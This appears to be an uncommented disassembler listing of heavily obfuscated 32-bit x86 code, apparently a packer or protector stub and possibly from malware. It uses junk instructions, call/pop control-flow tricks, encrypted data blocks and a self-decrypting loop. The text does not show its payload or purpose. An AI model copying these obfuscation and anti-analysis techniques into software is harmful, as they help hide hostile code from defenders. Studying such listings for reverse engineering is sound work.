; ---------------------------------------------------------------------------
		stc


loc_587C6E:				; CODE XREF: sub_5877B0+432j
					; sub_5877B0+441j ...
		mov	byte ptr [ebp+7E92659h], 0
		pusha
		mov	[ebp+7E91D91h],	ecx
		mov	[ebp+7E90F1Dh],	ebx
		popa
		popa
		jmp	locret_587C90
; ---------------------------------------------------------------------------
		db 6Eh,	2, 90h
		dd 0EEDC47DDh
; ---------------------------------------------------------------------------

locret_587C90:				; CODE XREF: sub_5877B0+4D4j
		retn	8
; ---------------------------------------------------------------------------
		cld
		pusha
		xor	[ebp+7E90AC9h],	edi
		mov	[ebp+7E92B0Dh],	ecx
		popa
		xchg	eax, esi
		pusha
		jmp	loc_587CBB
; ---------------------------------------------------------------------------
		db 0F3h, 23h, 0B8h
		dd 6692CD4h, 0A20792B7h, 9C8AA9F1h
		db 0B8h, 67h, 2
; ---------------------------------------------------------------------------


loc_587CBB:				; CODE XREF: sub_5877B0+4F4j
		push	edx
		jo	$+6
		pop	edi
		popa
		push	eax
		jnz	loc_587CD3
		jge	loc_587CD3
		pusha
		popa


loc_587CD3:				; CODE XREF: sub_5877B0+515j
					; sub_5877B0+51Bj
		xchg	eax, esi
		mov	[ebp+7E93441h],	ecx
		mov	[ebp+7E940DEh],	esi
		cmc
		mov	[ebp+7E94105h],	ecx
		jg	loc_587CF9
		jnz	loc_587CF9
		mov	[ebp+7E9019Dh],	edi


loc_587CF9:				; CODE XREF: sub_5877B0+537j
					; sub_5877B0+53Dj
		lea	esi, [ebp+7E93F7Dh]
		cmc
		lea	eax, dword_5B8EA1[ebp]
		jmp	loc_587D1D
; ---------------------------------------------------------------------------
		db 55h
		dd 9BE2309Eh, 0E8A65E18h, 1AF1F513h, 8506D78Fh
; ---------------------------------------------------------------------------
		sti


loc_587D1D:				; CODE XREF: sub_5877B0+556j
		cmc
		call	eax
		pusha
		mov	esi, [ebp+7E92631h]
		stc
		popa
		pop	esi
		mov	[ebp+7E91965h],	edx
		retn
; ---------------------------------------------------------------------------
		db 89h,	9Dh, 85h
		dd 8B07E901h, 0E940DEB5h, 8D8BF507h, 7E94105h, 78A0Fh
		dd 8E0F0000h, 1, 0E9C02BF9h, 0Bh, 918A7CB0h, 4206BAA4h
		dd 60B4899Fh, 0E961EB80h, 0Bh, 8FD7DE8Dh, 0A23D6B4Ah, 61418C3Fh
		dd 9E9D98Bh, 0B0000000h, 65C01F5Ah, 78A2CCB9h, 0D2B70F60h
		dd 0F0E961F5h, 60000000h, 0FE8h, 8501F00h, 94F10737h, 0BA6531Ch
		dd 572551D4h, 5BD0BF0Fh, 10E860h, 0CA330000h, 922ECE5h
		dd 7FD65187h, 5DFFF349h, 3358045Bh, 0E910799Dh,	32616107h
		dd 13E926h, 0B16B0000h,	0EDFC08AFh, 0A57A7A61h,	8248D4B4h
		dd 94DDF7A8h, 8902B218h, 0E924998Dh, 0F0816007h, 0D85BEF8h
		dd 299D8Bh, 0E96107E9h,	61h, 5E860h, 2C6D0000h,	898E2030h
		dd 0E9310D9Dh, 0BD295F07h, 7E9220Dh, 0E5958961h, 3207E92Ah
		dd 7A05F8C2h, 0F58A751Dh, 9529CC8Ah, 7E921C9h, 0B589C8D3h
		dd 7E9249Dh, 0D1084235h, 8A0F6098h, 6, 1069858Bh, 16007E9h
		dd 0E9003185h, 0FE616107h, 68C0FCAh, 89000000h,	0E90B2D95h
		dd 0FD20A07h, 0FFFFB685h, 0F54BF9FFh, 11E946h, 0BE000000h
		dd 8A23C21h, 40130599h,	4266007h, 0BEA5113h, 40850FDBh
		dd 89FFFFFFh, 0E915DD95h, 0B589CF07h, 7E925E1h,	12E90000h
		dd 0EF000000h, 8609E39Dh, 0FCB87B85h, 85AC6FBDh, 26FF339h
		dd 0F000047h, 68Fh, 0CD850100h,	7E92Ch,	0FC00h,	24C58D09h
		db 0E9h, 7
; ---------------------------------------------------------------------------


loc_587ECA:				; CODE XREF: sub_5877B0:loc_58785Dj
		lea	eax, [ebp+7E93ABCh]
		pusha
		push	edx
		mov	ebx, esi
		pop	edi
		popa
		mov	[ebp+7E90A8Dh],	eax
		sub	[ebp+7E92A71h],	edx
		lea	eax, [ebp+7E93EE8h]
		sub	[ebp+7E91DDDh],	esi
		mov	[ebp+7E90AFDh],	eax
		call	sub_587F00
		xor	bh, [ecx]
		inc	edx
		or	[ecx], bh
		cwde
		into
sub_5877B0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_587F00	proc near		; CODE XREF: sub_5877B0+744p
		mov	bx, 64E4h
		pop	edi
		sbb	si, 582Eh
		add	edi, 5D8Ch
		call	sub_587F1D
		jecxz	short loc_587F3E
		db	3Eh
		dec	edi
		xchg	eax, edx
		iret
sub_587F00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0F4h
		db 29h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_587F1D	proc near		; CODE XREF: sub_587F00+10p
		jmp	sub_587F2A
sub_587F1D	endp

; ---------------------------------------------------------------------------
		dw 0B196h
		dd 0F8267C6Ch
; ---------------------------------------------------------------------------
		pop	eax
		lodsb

; =============== S U B	R O U T	I N E =======================================



sub_587F2A	proc near		; CODE XREF: sub_587F1Dj
		pop	esi
		push	172Fh
		call	sub_587F3F
		clc
		sal	ebx, 1
		pop	es
		cmp	eax, 0A9A7CDA6h


loc_587F3E:				; CODE XREF: sub_587F00+15j
		push	eax
sub_587F2A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_587F3F	proc near		; CODE XREF: sub_587F2A+6p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00588130 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00588B09 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058B4E0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058B694 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005B045B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005B04BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005B0DCA SIZE 00000009 BYTES

		push	edx
		mov	[ebp+7E91C41h],	ebx
		pop	ebx
		pop	ebx
		pop	eax
		jle	loc_587F55
		mov	ebx, [ebp+7E90C19h]


loc_587F55:				; CODE XREF: sub_587F3F+Aj
					; sub_587F3F+7Dj
		mov	ecx, [edi]
		and	si, 8B28h
		xor	ecx, 60B3683Dh
		pusha
		mov	esi, [ebp+7E91DCDh]
		js	loc_587F75
		mov	[ebp+7E911B5h],	edx


loc_587F75:				; CODE XREF: sub_587F3F+2Aj
		popa
		sub	ecx, 2B5215C5h
		clc
		sub	ecx, 1EBEA1C9h
		mov	[ebp+7E90779h],	ebx
		push	ecx
		add	si, 0F0B0h
		pop	dword ptr [edi]
		sub	edi, 4
		sub	[ebp+7E9127Dh],	eax
		sub	eax, 1
		jnz	loc_587FB6
		or	[ebp+7E90035h],	esi
		jmp	loc_587FCD
; ---------------------------------------------------------------------------
		dw 0B388h
		dd 9E666597h
		db 43h,	0C6h
; ---------------------------------------------------------------------------


loc_587FB6:				; CODE XREF: sub_587F3F+5Ej
		mov	ebx, [ebp+7E92EE9h]
		jmp	loc_587F55
; ---------------------------------------------------------------------------
		db 9Bh,	9Fh, 68h
		dd 0FD108B93h, 881287F4h
		db 0B8h
; ---------------------------------------------------------------------------


loc_587FCD:				; CODE XREF: sub_587F3F+6Aj
		jmp	short loc_587FE3
; ---------------------------------------------------------------------------
		align 10h
		dd 3 dup(0)
		dd 0E4000000h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_587FE3:				; CODE XREF: sub_587F3F:loc_587FCDj
		lea	eax, [ebp+7E942E0h]
		mov	[ebp+7E920A1h],	eax
		cmp	dword ptr [ebp+7E94221h], 0
		jz	loc_588130
		mov	byte ptr [ebp+7E92659h], 56h
		push	0ADB0C735h
		xor	[esp-4+arg_0], 79AFAA0Ch
		push	dword ptr [ebp+7E92669h]
		lea	eax, [ebp+7E93ABCh]
		call	eax
		mov	[ebp+7E94215h],	eax
		mov	byte ptr [ebp+7E92659h], 56h
		call	near ptr loc_588030+3
		push	edx


loc_588030:				; CODE XREF: sub_587F3F+EBp
		mov	eax, 8B509CA8h
sub_587F3F	endp ; sp-analysis failed

		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+7E92669h]
		lea	eax, [ebp+7E93ABCh]
		call	eax
		mov	[ebp+7E94219h],	eax
		push	4
		push	0A4EBD615h
		add	dword ptr [esp], 5B1439EBh
		mov	eax, [ebp+7E94225h]
		add	eax, 1F4h
		shl	eax, 2
		nop
		push	eax
		nop
		push	0
		call	dword ptr [ebp+7E94219h]
		mov	[ebp+7E9421Dh],	eax
		mov	ebx, eax
		mov	eax, 0FFFFFFFFh
		call	dword ptr [ebp+7E920A1h]
		mov	eax, ebx
		call	dword ptr [ebp+7E920A1h]
		jmp	loc_588130
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7E94221h], 0
		jnz	loc_5880A8
		retn
; ---------------------------------------------------------------------------


loc_5880A8:				; CODE XREF: sdfs____:005880A1j
		push	edi
		mov	edi, [ebp+7E9421Dh]
		stosd
		add	dword ptr [ebp+7E9421Dh], 4
		pop	edi
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7E94221h], 0
		jnz	loc_5880C7
		retn
; ---------------------------------------------------------------------------


loc_5880C7:				; CODE XREF: sdfs____:005880C0j
		pusha
		sub	dword ptr [ebp+7E9421Dh], 4


loc_5880CF:				; CODE XREF: sdfs____:loc_58812Bj
		mov	ebx, [ebp+7E9421Dh]
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	loc_588105
		call	near ptr loc_5880E4+4


loc_5880E4:				; CODE XREF: sdfs____:005880DFp
		add	[eax-74B00000h], al
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+7E94215h]
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_58812B
; ---------------------------------------------------------------------------


loc_588105:				; CODE XREF: sdfs____:005880D9j
		call	near ptr loc_58810A+4


loc_58810A:				; CODE XREF: sdfs____:loc_588105p
		add	[eax-74B00000h], al
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+7E94215h]
		sub	dword ptr [ebp+7E9421Dh], 4


loc_58812B:				; CODE XREF: sdfs____:00588100j
		jmp	loc_5880CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587F3F


loc_588130:				; CODE XREF: sub_587F3F+B7j
					; sdfs____:00588095j
		dec	eax
		jmp	loc_588B09
; END OF FUNCTION CHUNK	FOR sub_587F3F
; ---------------------------------------------------------------------------
		dw 0DA05h
		dd 3BD602EDh, 0E06C7159h, 9998C1B0h, 0AAFD1E0Fh, 0BA991D82h
		dd 59158281h, 0DD12BDBEh, 0FC5805B7h, 79DD0FEDh, 0F77E7955h
		dd 8B8992E2h, 0E1F25B08h, 0B0E97EEDh, 5808968Bh, 0DD12EFB2h
		dd 0FF5703B5h, 79C70FEDh, 0E864644Ah, 95958CE2h, 0EFE64C13h
		dd 0FCDD1D86h, 4908929Ch, 9313BDFFh, 0E94303A0h, 36C116EDh
		dd 0E86A644Bh, 0ECh, 62h dup(0)
		dd 0DA050000h, 37DC0BEDh, 0F7646245h, 978291E2h, 0A2FE4C1Bh
		dd 0AFD81BC7h, 581E95CEh, 0DC01EFF0h, 0BB5202ACh, 37DD13BFh
		dd 0A56C7845h, 81D08FABh, 0EFED4B13h, 0A8CA0A94h, 37559A8Bh
		dd 0D60B9F93h, 0B7531FB8h, 35DD13EDh, 0A56F7743h, 9ED095ABh
		dd 0EFF2510Eh, 0B3D4168Ah, 5C5B8E9Ch, 0C147ABF0h, 0FA421FBCh
		dd 209312BFh, 0A5796343h, 9F9F93B2h, 0E1F25F0Eh, 48h dup(0)
		dd 0DA050000h, 38C105EDh, 0F76E7D4Fh, 8CD092E5h, 0EFF35113h
		dd 0FCCA128Fh, 531E928Ch, 0C608A9BEh, 0E91608B7h, 30DD08B8h
		dd 0EC2B7142h, 9789C1ACh, 0BCBF4C09h, 0B9CD009Eh, 3071D983h
		dd 0D202A3CEh, 0BB1A09AAh, 36DF08B8h, 0EC2B724Dh, 8A96C1B6h
		dd 0A2BF5313h, 0AED61E82h, 531AD797h, 0D615EFFAh, 0E95718AAh
		dd 36CA46B9h, 0F52B6459h, 8A978EB0h, 0B1531Dh, 61h dup(0)
		dd 0DD050000h, 79D60AA4h, 0F779794Fh, 9D8491B7h, 0EFB11F18h
		dd 0AFD01BB3h, 520987CEh, 0DE06BDF9h, 0E85704F9h, 3CD604EDh
		dd 0E4663642h, 8D8088ACh, 0AAEB5F10h, 0B2D85383h, 5C16D78Ah
		dd 0B902ADE7h, 0BC4205D4h, 37DA46BEh, 0F168734Ah, 9AD085A7h
		dd 0EFFE1E05h, 0A9CB1AB1h, 4F14D79Dh, 0D215ACBEh, 0FF5307BAh
		dd 31E746E3h, 0E32B6545h, 0D8958DABh, 0E8F1510Bh, 0B3CE5393h
		dd 5C5B9C9Ch, 0DC0AB6F0h, 1809ABh, 0E0h	dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587F3F


loc_588B09:				; CODE XREF: sub_587F3F+1F2j
		jmp	loc_58B4E0
; END OF FUNCTION CHUNK	FOR sub_587F3F
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+7E91EE5h]
		cld
		or	edx, 3BFC4331h
		mov	eax, eax
		pusha
		popa
		cmp	dword ptr [ebp+7E918A5h], 0
		jnz	short loc_588B31
		cmp	dword ptr [ebp+7E91A45h], 0
		jz	short loc_588B44


loc_588B31:				; CODE XREF: sdfs____:00588B26j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 1
		lea	ebx, [ebp+7EBD670h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_588B44:				; CODE XREF: sdfs____:00588B2Fj
		cmp	dword ptr [ebp+7E91A45h], 0
		jz	short loc_588B5E
		push	eax
		push	ebx
		mov	eax, 1
		lea	ebx, [ebp+7EBD521h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_588B5E:				; CODE XREF: sdfs____:00588B4Bj
		push	ebx
		jmp	loc_588B6C
; ---------------------------------------------------------------------------
		dd 89B9C898h, 1DE0BBDEh
; ---------------------------------------------------------------------------


loc_588B6C:				; CODE XREF: sdfs____:00588B5Fj
		pop	ebx
		push	0
		push	eax
		call	sub_588B78
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588B78	proc near		; CODE XREF: sdfs____:00588B70p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_588B78	endp

; ---------------------------------------------------------------------------
		dd 0BAC55451h, 5E53D47Dh, 0F2801A0Fh, 6AC08B01h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 2F3DC351h, 0F9A1857h, 65B53126h, 8907E91Ch, 0E91EFDBDh
		dd 1BD8307h, 7E90Ch, 1CD840Fh, 9D030000h, 7E91B45h, 2F659D8Bh
		dd 0BD8307E9h, 7E90999h, 0B4840F00h, 8B000001h,	0E91CA995h
		dd 0BF0F6007h, 99858BD1h, 6607E909h, 2C97E281h,	3E805h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 39DC68C2h, 6A52B1C4h, 0B2422BBh,	0A3B7900Ch
		dd 7E85650h, 0E9000000h, 7CBCDA8Eh, 9E90616h, 0DD000000h
		dd 0C62E3603h, 6483EC34h, 6A905B5Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 437DC356h
		dd 4EB6D26Fh, 4D36858Dh, 9D3107E9h, 7E925C5h, 5093B790h
		dd 7995BF60h, 9EB361FFh, 0BE99061h, 0D0000000h,	0E2DB1458h
		dd 716CF4E4h, 858DB901h, 7E94D14h, 38F0F51h, 0F000000h
		dd 905BD3B7h, 66515250h, 0F5BD08Bh, 0AE931h, 546F0000h
		dd 8BFA5B4Bh, 0BECAE279h, 6650585Ah, 90CA76BAh,	2858D29h
		dd 95FF07E9h, 7E90AD5h,	2F4D9523h, 0C48307E9h, 52006A0Ch
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 2B84343Eh, 0D9D8B3Eh, 8D07E90Fh, 0E94D1485h,	799D8B07h
		dd 5007E91Ch, 0C880Fh, 8C0F0000h, 6, 310F5250h,	489585Ah
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 91548D64h, 0D2976ACEh, 0BF0F8D8Eh, 8B026AD3h
		dd 1495FFDAh, 6A006AEDh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 904EC352h, 66E43BA9h
		dd 0E861D98Bh, 0Fh, 2D486519h, 50B09A8Bh, 345F8673h, 8B93F877h
		dd 0E9169D9Dh, 81665A07h, 0C78018EAh, 0E94D4785h, 107h
		dd 9D095700h, 7E90A2Dh,	0BB66965Bh, 6050A2FAh, 5F616057h
		dd 61DE8B66h, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 14A43B69h, 0E9FC7337h, 0Ah, 0D8094D0Bh
		dd 3CDF60D6h, 0D4BBD640h, 890999AEh, 0E94CF8B5h, 0D9BF0F07h
		dd 1B69BD83h, 0F0107E9h, 4485h,	6880F00h, 89000000h, 0E92EB9BDh
		dd 5F88307h, 2F850Fh, 0F3810000h, 33435D1Ch, 0B8F9h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 9C0363C3h, 1739A1A3h, 15BD834Ah, 7E91Ah, 1A840Fh, 85010000h
		dd 7E91509h, 79850960h,	0FF07E910h, 0E91A1595h,	8D8D2907h
		dd 6107E918h, 0B1DBD83h, 0F0007E9h, 1084h, 0F2816600h
		dd 0B859D7h, 3000000h, 0E90A859Dh, 89606007h, 0E91BB1B5h
		dd 6880F07h, 9000000h, 0E91C61B5h, 0F7806107h, 75858BB3h
		dd 6A07E908h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0CA87C351h, 69331021h,	7D9D2B93h
		dd 8907E90Fh, 0E907F9B5h, 2C08307h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 86C35343h, 28EC2B22h, 12759589h
		dd 0BB6607E9h, 8589CCF6h, 7E94CF0h, 1FF28166h, 0FF00C660h
		dd 11E8h, 16175500h, 2BED2EBFh,	6F5EB301h, 4EC3A787h, 0AE91435h
		dd 8A000000h, 19D1BE30h, 67FCFA12h, 85C65AD6h, 7E92659h
		dd 998D2953h, 8B07E92Ah, 0E919CD95h, 0FF686807h, 830FB811h
		dd 8, 2800Fh, 5BB60000h, 70240481h, 2B449F49h, 0E9266D95h
		dd 10E95107h, 43000000h, 0F77F642Dh, 88670EAAh,	40D4EC77h
		dd 5AB5D8FEh, 0B11B5FFh, 8DF907E9h, 0EC9FDB85h,	0F505307h
		dd 85h,	0FF5B5A00h, 0CE9D0h, 0B9640000h, 47A9E4ADh, 36D9F028h
		dd 85892FB4h, 7E90C31h,	17F9958Bh, 0BD8307E9h, 7E92625h
		dd 9E850F01h, 66000000h, 96F4EA81h, 659D3161h, 0C607E911h
		dd 0E9265985h, 958B4507h, 7E90075h, 3F027668h, 6E9CAh
		dd 0A7390000h, 2D5E41D5h, 4C240481h, 66102136h,	0B5FFDF8Bh
		dd 7E90B11h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0F6C35343h, 7D9EB87Dh, 0DF8B09D0h, 9FDB858Dh, 858907ECh
		dd 7E9258Dh, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 19A9CEC3h, 0CA8E59BAh, 6A2872h
		dd 19198509h, 0D0FF07E9h, 2CEA8166h, 0CDBD8351h, 107E925h
		dd 124850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8BD203C3h, 0E92AC59Dh, 75858B07h
		dd 0B307E908h, 6DE914h,	28BB0000h, 503DAE04h, 19800F60h
		dd 0E9000000h, 14h, 5D639F9Ch, 41F204D7h, 1D343D5Dh, 604D4099h
		dd 0ECD80FECh, 58B0Fh, 0CFBE0000h, 6176647Eh, 66240489h
		dd 0ECFEF381h, 0B529146Ah, 7E91199h, 0C3195FFh,	0BB6607E9h
		dd 6A58C38Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 4AC356h, 808BDD6Ch, 850F0038h
		dd 0FFFFFF8Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	0D2C35242h, 2C8061B3h, 2AB99D01h, 6E807E9h, 0B9000000h
		dd 0E61B9B0h, 0D28160ECh, 2C038106h, 11E8h, 0D1B63F00h
		dd 0C9B553C1h, 0AA0E771Ah, 8DC94E4Fh, 615E8EE7h, 100C65Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A8C35040h
		dd 81E06F61h, 0B22E2AA4h, 1BB99D8Bh, 0E86107E9h, 7, 62449EC1h
		dd 60A7F198h, 8D0Fh, 850F0000h,	0
; ---------------------------------------------------------------------------
		popa
		pop	edx
		cmp	dword ptr [ebp+7E92419h], 0
		jz	loc_589225
		sbb	dl, 0D8h


loc_5891CA:				; CODE XREF: sdfs____:005891FAj
		push	0FFFFFFFFh
		movsx	edx, di
		call	dword ptr [ebp+7E90C31h]
		push	0
		push	ebx
		call	sub_5891E0
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5891E0	proc near		; CODE XREF: sdfs____:005891D8p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5891E0	endp

; ---------------------------------------------------------------------------
		xor	al, 35h
		xor	dl, [edx-77h]
		test	[ecx], ecx
		add	ch, cl
		pop	es
		jmp	loc_5891CA
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_58920A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58920A	proc near		; CODE XREF: sdfs____:00589202p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_58920A	endp

; ---------------------------------------------------------------------------
		pop	ecx
		mov	al, ds:0FED45A3h
		mov	edi, 0D18B66DEh


loc_589225:				; CODE XREF: sdfs____:005891C1j
		mov	dword ptr [ebp+7E92419h], 1
		xor	[ebp+7E91CEDh],	eax
		mov	[ebp+7E94CFCh],	eax
		mov	ebx, [ebp+7E9300Dh]
		push	eax
		mov	bx, si
		mov	[esp], eax
		mov	edx, ebx
		xor	ebx, [ebp+7E919C9h]
		pusha
		movsx	ebx, cx
		push	5
		push	0
		push	eax
		call	sub_589261
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589261	proc near		; CODE XREF: sdfs____:00589259p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_589261	endp

; ---------------------------------------------------------------------------
		mov	dh, [eax+59h]
		inc	esp
		daa
		mov	[esp+ecx*8], ebp
		mov	[ebp+7E90DBDh],	eax
		jle	loc_58928B
		sub	ebx, [ebp+7E92CC5h]


loc_58928B:				; CODE XREF: sdfs____:0058927Fj
		lea	eax, [ebp+7E94D14h]
		jmp	loc_5892A1
; ---------------------------------------------------------------------------
		dw 8092h
		dd 0B6AA8F37h, 507D1E96h
		db 0C6h
; ---------------------------------------------------------------------------


loc_5892A1:				; CODE XREF: sdfs____:00589291j
		push	eax
		mov	bh, 1
		mov	[esp], eax
		add	edx, 3AE66B4Eh
		mov	edx, eax
		lea	eax, [ebp+7E94D04h]
		mov	ebx, 6645338Bh
		nop
		mov	bx, si
		push	eax
		jmp	loc_5892CD
; ---------------------------------------------------------------------------
		dd 116916Ch, 4A0078F0h
		db 86h
; ---------------------------------------------------------------------------


loc_5892CD:				; CODE XREF: sdfs____:005892BFj
		nop
		movsx	ebx, ax
		call	dword ptr [ebp+7E900CDh]
		mov	ebx, 471B8262h
		lea	ecx, [ebp+7E976D1h]
		jmp	loc_5892ED
; ---------------------------------------------------------------------------
		db 0D1h
		dd 67E84A7Ah
		db 0B2h
; ---------------------------------------------------------------------------


loc_5892ED:				; CODE XREF: sdfs____:005892E2j
		or	eax, eax
		jz	short loc_589302
		lea	eax, [ebp+7E94D14h]
		push	eax
		call	ecx
		mov	[ebp+7E94D32h],	eax
		jmp	short loc_58930C
; ---------------------------------------------------------------------------


loc_589302:				; CODE XREF: sdfs____:005892EFj
		mov	dword ptr [ebp+7E94D32h], 0FFFFFFFFh


loc_58930C:				; CODE XREF: sdfs____:00589300j
		push	0
		push	ebp
		call	sub_589317
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589317	proc near		; CODE XREF: sdfs____:0058930Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_589317	endp

; ---------------------------------------------------------------------------
		db 2Eh
		dd 6329EBE8h, 0B70F2D07h, 0FE9DAh, 30C50000h, 0AEAFA723h
		dd 72CE29CCh, 0E1C98A64h, 6A6108h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 383F2EC3h, 0D0DBB27Eh
		dd 89EF9BE7h, 0E908F595h, 5985C607h, 4D07E926h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0C35545h, 7C9E6974h
		dd 83121768h, 28A0F91h,	0B6000000h, 240481AAh, 12B26491h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0E1C35242h
		dd 5BB830B4h, 9FBA6611h, 2820FC7h, 50000000h, 15B5FF5Ah
		dd 0BA07E901h, 1AC95EFCh, 9FDB858Dh, 0DA8B07ECh, 0D281D0FFh
		dd 224F264Dh, 18C58589h, 950307E9h, 7E91E09h, 265985C6h
		dd 0B4507E9h, 0E90D9D95h, 0DA096807h, 0AABB91E2h, 815E56A2h
		dd 0B3602434h, 85891F90h, 7E923C9h, 0B11B5FFh, 6A07E9h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 66674CC3h, 0FE3CFD08h, 816620BCh, 8D0E11EBh,	0EC9FDB85h
		dd 258D8907h, 0FF07E935h, 0E5958BD0h, 8907E90Fh, 0E9138D85h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0B3120845h, 8BDCB721h, 51006AD2h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 397E6189h, 74DC3586h, 0DE9D5h, 0BC810000h, 3176A44Dh
		dd 23151B83h, 66EAABBAh, 9D8BD98Ch, 7E9227Dh, 0F04C1F6h
		dd 17884h, 3850F00h, 0F000000h,	0D8E9D0B7h, 0F000000h
		dd 68Eh, 0E5B58900h, 8B07E917h,	0E90905B5h, 0CA816607h
		dd 0C681A3FDh, 1180h, 0FDBB70Fh, 0BD83D7BFh, 7E926A9h
		dd 13850F00h, 31000000h, 0E91E719Dh, 15958B07h,	0E907E90Eh
		dd 8Bh,	3E838EB2h, 80840F00h, 0BA000000h, 65F9CFC3h, 8E9h
		dd 1434CE00h, 0ED52F287h, 16BB6067h, 6A1708DCh,	0E9958B14h
		dd 8107E90Dh, 0EE612CE3h, 3195FF7Bh, 0B707E90Ch, 6A61C4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 830398C3h, 0FFFFA5E9h, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0DE904h, 0C2530000h
		dd 6EDFC278h, 2DFCC8E5h, 0C77354D7h, 106h, 0D5B58900h
		dd 8307E911h, 0E94CFCBDh, 850F0507h, 85h, 0F0D28166h, 8DB58B0Eh
		dd 8B07E913h, 64B9D7h, 9D090000h, 7E90261h, 31059D8Bh
		dd 3E8007E9h, 0A840FE8h, 0E9000000h, 12h, 8B66D38Bh, 57E80D0h
		dd 3F840FC2h, 0F000000h, 0B646D3B7h, 850F49F7h,	0FFFFFFD6h
		dd 11E860h, 0AF930000h,	54B2A13Ah, 0D82538ACh, 58119882h
		dd 31773E1Fh, 0E90FBD9Dh, 0F605807h, 82h, 2CB96600h, 0E96161CDh
		dd 0Dh,	0B589DE8Ah, 7E91245h, 2EC252BBh, 99BB5831h, 83087A4Bh
		dd 0E90731BDh, 840F0007h, 103h,	11A59D8Bh, 816607E9h, 60C3AED3h
		dd 295060F9h, 0E921B9B5h, 9D095B07h, 7E91BE1h, 5985C661h
		dd 5407E926h, 0AE8h, 0DD133000h, 5E4E4AD8h, 66311D1Ch
